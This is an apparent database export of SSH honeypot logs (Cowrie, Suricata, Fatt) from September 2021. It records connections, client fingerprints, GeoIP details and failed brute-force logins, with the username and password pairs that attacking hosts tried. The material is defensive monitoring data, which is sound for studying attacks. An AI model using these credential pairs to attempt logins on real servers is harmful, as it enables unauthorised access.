"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27589	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:04.621103+03	2021-09-20 14:30:01.665524+03	{"_id": "JQbqAnwBvYTbRNuEpikV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [svsmi/Pr0f0r13nt] failed", "session": "8d7d10270092", "@version": "1", "password": "Pr0f0r13nt", "username": "svsmi", "timestamp": "2021-09-20T11:15:04.621103Z", "@timestamp": "2021-09-20T11:15:04.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27590	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:15:05.073292+03	2021-09-20 14:30:01.666524+03	{"_id": "LQbqAnwBvYTbRNuEqCkB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 649772402250718, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53116, "dest_port": 22, "timestamp": "2021-09-20T11:15:05.073292Z", "@timestamp": "2021-09-20T11:15:05.073Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27591	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:05.073533+03	2021-09-20 14:30:01.667524+03	{"_id": "MQbqAnwBvYTbRNuEqSn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f8b079b1ad98", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:05.073533Z", "@timestamp": "2021-09-20T11:15:05.073Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27592	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:15:06.239116+03	2021-09-20 14:30:01.669523+03	{"_id": "NwbqAnwBvYTbRNuErSkl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57218, "dest_port": 22, "timestamp": "2021-09-20T11:15:06.239116", "@timestamp": "2021-09-20T11:15:06.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27595	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:05.959141+03	2021-09-20 14:30:01.673524+03	{"_id": "PAbqAnwBvYTbRNuErSno", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:57218 (192.168.176.2:22) [session: eef9ec47a12c]", "session": "eef9ec47a12c", "@version": "1", "protocol": "ssh", "src_port": 57218, "dest_port": 22, "timestamp": "2021-09-20T11:15:05.959141Z", "@timestamp": "2021-09-20T11:15:05.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27596	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:05.962011+03	2021-09-20 14:30:01.674524+03	{"_id": "QAbqAnwBvYTbRNuErSno", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "eef9ec47a12c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:05.962011Z", "@timestamp": "2021-09-20T11:15:05.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27597	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:06.239877+03	2021-09-20 14:30:01.675524+03	{"_id": "QQbqAnwBvYTbRNuErSno", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "eef9ec47a12c", "@version": "1", "timestamp": "2021-09-20T11:15:06.239877Z", "@timestamp": "2021-09-20T11:15:06.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27598	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:06.32417+03	2021-09-20 14:30:01.677523+03	{"_id": "QgbqAnwBvYTbRNuErSno", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [dillon/dillon] failed", "session": "f8b079b1ad98", "@version": "1", "password": "dillon", "username": "dillon", "timestamp": "2021-09-20T11:15:06.324170Z", "@timestamp": "2021-09-20T11:15:06.324Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27599	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:15:07.099323+03	2021-09-20 14:30:01.678524+03	{"_id": "QwbqAnwBvYTbRNuErynS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1101448343084188, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51306, "dest_port": 22, "timestamp": "2021-09-20T11:15:07.099323Z", "@timestamp": "2021-09-20T11:15:07.099Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27689	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:15:16.778584+03	2021-09-20 14:30:01.795524+03	{"_id": "3AbqAnwBvYTbRNuE2Cnr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "ee2693637d5e", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:15:16.778584Z", "@timestamp": "2021-09-20T11:15:16.778Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27600	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:07.099518+03	2021-09-20 14:30:01.679524+03	{"_id": "RAbqAnwBvYTbRNuEsSkN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51306, "timestamp": "2021-09-20T11:15:07.099518", "@timestamp": "2021-09-20T11:15:07.099Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27601	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:15:02.673831+03	2021-09-20 14:30:01.681523+03	{"_id": "BgbqAnwBvYTbRNuEnilB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [oracle/111111] failed", "session": "d826ca65fb0f", "@version": "1", "password": "111111", "username": "oracle", "timestamp": "2021-09-20T11:15:02.673831Z", "@timestamp": "2021-09-20T11:15:02.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27602	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:01.862892+03	2021-09-20 14:30:01.682523+03	{"_id": "BwbqAnwBvYTbRNuEnilB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ftpuser/ftpuser123] failed", "session": "c0650f636acd", "@version": "1", "password": "ftpuser123", "username": "ftpuser", "timestamp": "2021-09-20T11:15:01.862892Z", "@timestamp": "2021-09-20T11:15:01.862Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27603	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:03.260383+03	2021-09-20 14:30:01.683523+03	{"_id": "CQbqAnwBvYTbRNuEoSlq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57204, "timestamp": "2021-09-20T11:15:03.260383", "@timestamp": "2021-09-20T11:15:03.260Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27604	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:02.821183+03	2021-09-20 14:30:01.684524+03	{"_id": "GwbqAnwBvYTbRNuEoikt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [support/12345] failed", "session": "f2d6ae19a948", "@version": "1", "password": "12345", "username": "support", "timestamp": "2021-09-20T11:15:02.821183Z", "@timestamp": "2021-09-20T11:15:02.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	